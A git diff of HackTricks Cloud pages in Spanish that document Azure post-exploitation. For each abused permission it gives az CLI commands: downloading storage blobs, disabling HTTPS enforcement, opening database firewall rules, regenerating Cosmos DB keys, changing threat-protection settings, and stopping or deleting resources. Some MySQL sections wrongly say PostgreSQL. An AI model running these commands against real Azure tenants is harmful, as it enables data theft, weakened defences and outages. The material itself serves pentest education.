a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 269a7ca96..f1214815d 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -10,9 +10,9 @@ Para más información sobre el almacenamiento, consulta: ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` -Un principal con este permiso podrá **listar** los blobs (archivos) dentro de un contenedor y **descargar** los archivos que podrían contener **información sensible**. +Un principal con este permiso podrá **listar** los blobs (archivos) dentro de un contenedor y **descargar** los archivos que pueden contener **información sensible**. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ @@ -24,7 +24,7 @@ az storage blob download \ --container-name \ -n file.txt --auth-mode login ``` -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` Un principal con este permiso podrá **escribir y sobrescribir archivos en contenedores**, lo que podría permitirle causar algún daño o incluso escalar privilegios (por ejemplo, sobrescribir algún código almacenado en un blob): ```bash diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md index 6cc6ef61e..91b35ae8b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -1,31 +1,25 @@ -# Az - CosmosDB Post Explotación +# Az - CosmosDB Post Exploitation {{#include ../../../banners/hacktricks-training.md}} -## CosmosDB Post Explotación +## CosmosDB Post Exploitation Para más información sobre SQL Database consulta: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write" +### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write` Con este permiso, puedes crear o actualizar cuentas de Azure Cosmos DB. Esto incluye modificar configuraciones a nivel de cuenta, agregar o eliminar regiones, cambiar niveles de consistencia y habilitar o deshabilitar características como escrituras en múltiples regiones. - -{% code overflow="wrap" %} ```bash az cosmosdb update \ --name \ --resource-group \ --public-network-access ENABLED ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write` Con este permiso, puedes crear o modificar contenedores (colecciones) dentro de una base de datos SQL de una cuenta de Azure Cosmos DB. Los contenedores se utilizan para almacenar datos, y los cambios en ellos pueden afectar la estructura de la base de datos y los patrones de acceso. - -{% code overflow="wrap" %} ```bash # Create az cosmosdb sql container create \ @@ -43,25 +37,17 @@ az cosmosdb sql container update \ --name \ --ttl 3600 ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read` Con este permiso, puedes crear o modificar bases de datos SQL dentro de una cuenta de Azure Cosmos DB. Esto permite gestionar la estructura de la base de datos y agregar nuevas bases de datos a la cuenta. Si bien este permiso permite la creación de bases de datos, el uso indebido o no autorizado podría resultar en un consumo innecesario de recursos, costos incrementados o ineficiencias operativas. - -{% code overflow="wrap" %} ```bash az cosmosdb sql database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action" +### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action` Con este permiso, puedes cambiar la prioridad de conmutación por error de las regiones para una cuenta de base de datos de Azure Cosmos DB. Esta acción determina el orden en el que las regiones se convierten en primarias durante un evento de conmutación por error. El uso inadecuado de este permiso puede interrumpir la alta disponibilidad de la base de datos o provocar impactos operativos no deseados. - -{% code overflow="wrap" %} ```bash az cosmosdb failover-priority-change \ --name \ @@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \ --failover-policies ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action" +### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action` Con este permiso, puedes regenerar las claves primaria o secundaria para una cuenta de Azure Cosmos DB. Esto se utiliza típicamente para mejorar la seguridad al reemplazar claves antiguas, pero puede interrumpir el acceso a servicios o aplicaciones que dependen de las claves actuales. - -{% code overflow="wrap" %} ```bash az cosmosdb keys regenerate \ --name \ @@ -82,13 +64,9 @@ az cosmosdb keys regenerate \ --key-kind ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read` Con este permiso, puedes crear o modificar disparadores dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los disparadores te permiten ejecutar lógica del lado del servidor en respuesta a operaciones. - -{% code overflow="wrap" %} ```bash az cosmosdb sql trigger create \ --account-name \ @@ -100,12 +78,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read" -Con este permiso, puedes crear o modificar procedimientos almacenados dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los procedimientos almacenados en Cosmos DB son funciones de JavaScript del lado del servidor que te permiten encapsular lógica para procesar datos o realizar operaciones directamente dentro de la base de datos. - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read` +Con este permiso, puedes crear o modificar procedimientos almacenados dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los procedimientos almacenados en Cosmos DB son funciones de JavaScript del lado del servidor que te permiten encapsular la lógica para procesar datos o realizar operaciones directamente dentro de la base de datos. ```bash az cosmosdb sql stored-procedure create \ --account-name \ @@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \ --name \ --body 'function sample() { return "Hello, Cosmos!"; }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read" -Con este permiso, puedes crear o modificar triggers dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los triggers te permiten ejecutar lógica del lado del servidor en respuesta a operaciones como inserciones, actualizaciones o eliminaciones. - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read` +Con este permiso, puedes crear o modificar disparadores dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los disparadores te permiten ejecutar lógica del lado del servidor en respuesta a operaciones como inserciones, actualizaciones o eliminaciones. ```bash az cosmosdb sql trigger create \ --account-name \ @@ -132,12 +102,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write" +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write` Con este permiso, puedes crear o modificar colecciones dentro de bases de datos MongoDB en una cuenta de Azure Cosmos DB. Las colecciones se utilizan para almacenar documentos y definir la estructura y particionamiento de los datos. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb collection create \ --account-name \ @@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \ --database-name \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read` Con este permiso, puedes crear nuevas bases de datos MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite aprovisionar nuevas bases de datos para almacenar y gestionar colecciones y documentos. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read` Con este permiso, puedes crear nuevas definiciones de roles de MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite definir roles personalizados con permisos específicos para los usuarios de MongoDB. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb role definition create \ --account-name \ @@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \ "Roles": [] }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" -Con este permiso, puedes crear nuevas definiciones de usuario de MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite la provisión de usuarios con roles y niveles de acceso específicos a bases de datos de MongoDB. -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read` +Con este permiso, puedes crear nuevas definiciones de usuario de MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite la provisión de usuarios con roles y niveles de acceso específicos a las bases de datos de MongoDB. ```bash az cosmosdb mongodb user definition create \ --account-name \ @@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \ ] }' ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index f43d7cf5d..7472c138e 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -Explotación posterior de File Share +Explotación posterior a la compartición de archivos -Para más información sobre file shares consulta: +Para más información sobre las comparticiones de archivos, consulta: {{#ref}} ../az-services/az-file-shares.md {{#endref}} -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read` -Un principal con este permiso podrá **listar** los archivos dentro de un file share y **descargar** los archivos que podrían contener **información sensible**. +Un principal con este permiso podrá **listar** los archivos dentro de una compartición de archivos y **descargar** los archivos que podrían contener **información sensible**. ```bash # List files inside an azure file share az storage file list \ @@ -28,7 +28,7 @@ az storage file download \ --dest /path/to/down \ --auth-mode login --enable-file-backup-request-intent ``` -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action` Un principal con este permiso podrá **escribir y sobrescribir archivos en comparticiones de archivos**, lo que podría permitirle causar algún daño o incluso escalar privilegios (por ejemplo, sobrescribir algún código almacenado en una compartición de archivos): ```bash diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md index cee785bce..e1cb93ea7 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -5,14 +5,12 @@ ## Post Explotación de la Base de Datos de Logic Apps Para más información sobre las aplicaciones lógicas, consulta: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` Con estos permisos, puedes modificar los flujos de trabajo de Logic App y gestionar sus identidades. Específicamente, puedes asignar o eliminar identidades gestionadas asignadas por el sistema y por el usuario a los flujos de trabajo, lo que permite que la Logic App se autentique y acceda a otros recursos de Azure sin credenciales explícitas. - -{% code overflow="wrap" %} ```bash az logic workflow identity remove/assign \ --name \ @@ -20,49 +18,32 @@ az logic workflow identity remove/assign \ --system-assigned true \ --user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" ``` -{% endcode %} - -### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write" -Con estos permisos, puedes crear o actualizar Logic Apps alojados en un App Service Plan. Esto incluye modificar configuraciones como habilitar o deshabilitar la aplicación de HTTPS. - -{% code overflow="wrap" %} +### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write` +Con estos permisos, puedes crear o actualizar Logic Apps alojados en un App Service Plan. Esto incluye modificar configuraciones como habilitar o deshabilitar la aplicación forzada de HTTPS. ```bash az logicapp update \ --resource-group \ --name \ --set httpsOnly=false ``` -{% endcode %} - -### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action" -Con este permiso, puedes iniciar/detener/reiniciar una aplicación web, incluidas las Logic Apps alojadas en un App Service Plan. Esta acción asegura que una aplicación que fue detenida anteriormente se vuelva a poner en línea y reanude su funcionalidad. Esto puede interrumpir flujos de trabajo, activar operaciones no deseadas o causar tiempo de inactividad al iniciar, detener o reiniciar Logic Apps inesperadamente. - -{% code overflow="wrap" %} +### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action` +Con este permiso, puedes iniciar/detener/reiniciar una aplicación web, incluidas las Logic Apps alojadas en un App Service Plan. Esta acción asegura que una aplicación que fue detenida anteriormente se ponga en línea y reanude su funcionalidad. Esto puede interrumpir flujos de trabajo, activar operaciones no deseadas o causar tiempo de inactividad al iniciar, detener o reiniciar Logic Apps inesperadamente. ```bash az webapp start/stop/restart \ --name \ --resource-group ``` -{% endcode %} +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write` - -### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write" - -Con este permiso, puedes configurar o modificar ajustes para aplicaciones web, incluyendo Logic Apps alojadas en un App Service Plan. Esto permite cambios en la configuración de la aplicación, cadenas de conexión, configuraciones de autenticación y más. - -{% code overflow="wrap" %} +Con este permiso, puedes configurar o modificar ajustes para aplicaciones web, incluidas las Logic Apps alojadas en un App Service Plan. Esto permite cambios en la configuración de la aplicación, cadenas de conexión, configuraciones de autenticación y más. ```bash az logicapp config appsettings set \ --name \ --resource-group \ --settings "=" ``` -{% endcode %} - -### "Microsoft.Logic/integrationAccounts/write" +### `Microsoft.Logic/integrationAccounts/write` Con este permiso, puedes crear, actualizar o eliminar cuentas de integración de Azure Logic Apps. Esto incluye la gestión de configuraciones a nivel de cuenta de integración como mapas, esquemas, socios, acuerdos y más. - -{% code overflow="wrap" %} ```bash az logic integration-account create \ --resource-group \ @@ -71,13 +52,9 @@ az logic integration-account create \ --sku \ --state Enabled ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write` Con este permiso, puedes crear o modificar configuraciones de lotes dentro de una cuenta de integración de Azure Logic Apps. Las configuraciones de lotes definen cómo Logic Apps procesan y agrupan los mensajes entrantes para el procesamiento por lotes. - -{% code overflow="wrap" %} ```bash az logic integration-account batch-configuration create \ --resource-group \ @@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \ "batchSize": 1048576, }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write` Con este permiso, puedes crear o modificar mapas dentro de una cuenta de integración de Azure Logic Apps. Los mapas se utilizan para transformar datos de un formato a otro, lo que permite una integración fluida entre diferentes sistemas y aplicaciones. - -{% code overflow="wrap" %} ```bash az logic integration-account map create \ --resource-group \ @@ -103,12 +76,8 @@ az logic integration-account map create \ --content-type application/xml \ --map-content map-content.xslt ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write` Con este permiso, puedes crear o modificar socios en una cuenta de integración de Azure Logic Apps. Los socios representan entidades o sistemas que participan en flujos de trabajo de negocio a negocio (B2B). - -{% code overflow="wrap" %} ```bash az logic integration-account partner create \ --resource-group \ @@ -126,12 +95,8 @@ az logic integration-account partner create \ } }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write` Con este permiso, puedes crear o modificar sesiones dentro de una cuenta de integración de Azure Logic Apps. Las sesiones se utilizan en flujos de trabajo B2B para agrupar mensajes y rastrear transacciones relacionadas durante un período definido. - -{% code overflow="wrap" %} ```bash az logic integration-account session create \ --resource-group \ @@ -147,8 +112,6 @@ az logic integration-account session create \ } }' ``` -{% endcode %} - ### "*/delete" Con estos permisos puedes eliminar recursos relacionados con Azure Logic Apps diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md index b29223a8e..b3c5a647c 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md @@ -3,56 +3,42 @@ {{#include ../../../banners/hacktricks-training.md}} ## MySQL Database Post Exploitation -Para más información sobre MySQL Database, consulta: +Para más información sobre MySQL Database consulta: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read" +### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read` Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de MySQL Flexible Server en Azure. Aunque esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar al consumo de recursos o al posible uso indebido del servidor. - -{% code overflow="wrap" %} ```bash az mysql flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/backups/write" +### `Microsoft.DBforMySQL/flexibleServers/backups/write` Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de MySQL Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos. - -{% code overflow="wrap" %} ```bash az mysql flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write` -### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write" - -Con este permiso, puedes configurar o actualizar la configuración de Protección Avanzada contra Amenazas (ATP) para una instancia de MySQL Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales. - -{% code overflow="wrap" %} +Con este permiso, puedes configurar o actualizar la configuración de Advanced Threat Protection (ATP) para una instancia de MySQL Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales. ```bash az mysql flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write" +### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write` Con este permiso, puedes crear o modificar reglas de firewall para una instancia de MySQL Flexible Server en Azure. Esto permite controlar qué direcciones IP o rangos pueden acceder al servidor. El uso no autorizado o inapropiado de este permiso podría exponer el servidor a accesos no deseados o maliciosos. - -{% code overflow="wrap" %} ```bash # Create Rule az mysql flexible-server firewall-rule create \ @@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action" +### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action` Con este permiso, puedes restablecer el GTID (Identificador Global de Transacción) para una instancia de MySQL Flexible Server en Azure. Restablecer el GTID invalidará todas las copias de seguridad automatizadas, bajo demanda y geo-copias de seguridad que se tomaron antes de la acción de restablecimiento. Después del restablecimiento del GTID, no podrás realizar PITR (restauración en un punto en el tiempo) utilizando el punto de restauración más rápido o mediante un punto de restauración personalizado si el tiempo de restauración seleccionado es anterior al tiempo de restablecimiento del GTID. Y la geo-restauración exitosa solo será posible después de 5 días. - -{% code overflow="wrap" %} ```bash az mysql flexible-server reset-gtid \ --name \ --resource-group \ --gtid-set ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action` -### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action" - -Con este permiso, puedes actualizar la configuración de un servidor MySQL Flexible en Azure. Esto permite la personalización de parámetros del servidor, como la optimización del rendimiento, configuraciones de seguridad o ajustes operativos. Puedes actualizar los siguientes parámetros juntos en un lote: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors y max_connections. - -{% code overflow="wrap" %} +Con este permiso, puedes actualizar la configuración de un servidor MySQL Flexible en Azure. Esto permite la personalización de parámetros del servidor, como la optimización del rendimiento, configuraciones de seguridad o ajustes operativos. Puedes actualizar los siguientes parámetros juntos en un lote: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, y max_connections. ```bash az mysql flexible-server parameter set-batch \ --resource-group \ --server-name \ --args max_connections= ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` Con este permiso, puedes asignar una identidad administrada asignada por el usuario a los servidores flexibles de MySQL. - -{% code overflow="wrap" %} ```bash az mysql flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/stop/action" +### `Microsoft.DBforMySQL/flexibleServers/stop/action` Con este permiso, puedes detener una instancia de PostgreSQL Flexible Server en Azure. Detener un servidor puede provocar una interrupción temporal del servicio, afectando a las aplicaciones y usuarios dependientes de la base de datos. - -{% code overflow="wrap" %} ```bash az mysql flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforMySQL/flexibleServers/start/action" +### `Microsoft.DBforMySQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az mysql flexible-server start \ --name \ --resource-group ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index 86e02f69e..608d7a07b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -5,54 +5,40 @@ ## PostgreSQL Database Post Exploitation Para más información sobre PostgreSQL Database, consulta: -{% content-ref url="../az-services/az-postgresql.md" %} -[az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-postgresql.md +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de Postgres Flexible Server en Azure. Aunque esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar al consumo de recursos o al posible uso indebido del servidor. - -{% code overflow="wrap" %} ```bash az postgres flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` -### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write" - -Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de Postgres Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos. - -{% code overflow="wrap" %} +Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de Postgres Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos. ```bash az postgres flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` Con este permiso, puedes configurar o actualizar la configuración de Protección Avanzada contra Amenazas (ATP) para una instancia de Postgres Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales. - -{% code overflow="wrap" %} ```bash az postgres flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read` Con este permiso, puedes crear o modificar reglas de firewall para una instancia de Postgres Flexible Server en Azure. Esto permite controlar qué direcciones IP o rangos pueden acceder al servidor. El uso no autorizado o inapropiado de este permiso podría exponer el servidor a accesos no deseados o maliciosos. - -{% code overflow="wrap" %} ```bash # Create Rule az postgres flexible-server firewall-rule create \ @@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read` Con este permiso, puedes actualizar la configuración de un servidor flexible de Postgres en Azure. Esto permite la personalización de parámetros del servidor, como la optimización del rendimiento, configuraciones de seguridad o ajustes operativos. - -{% code overflow="wrap" %} ```bash az postgres flexible-server parameter set \ --resource-group \ @@ -84,45 +66,36 @@ az postgres flexible-server parameter set \ --name \ --value ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action" +### 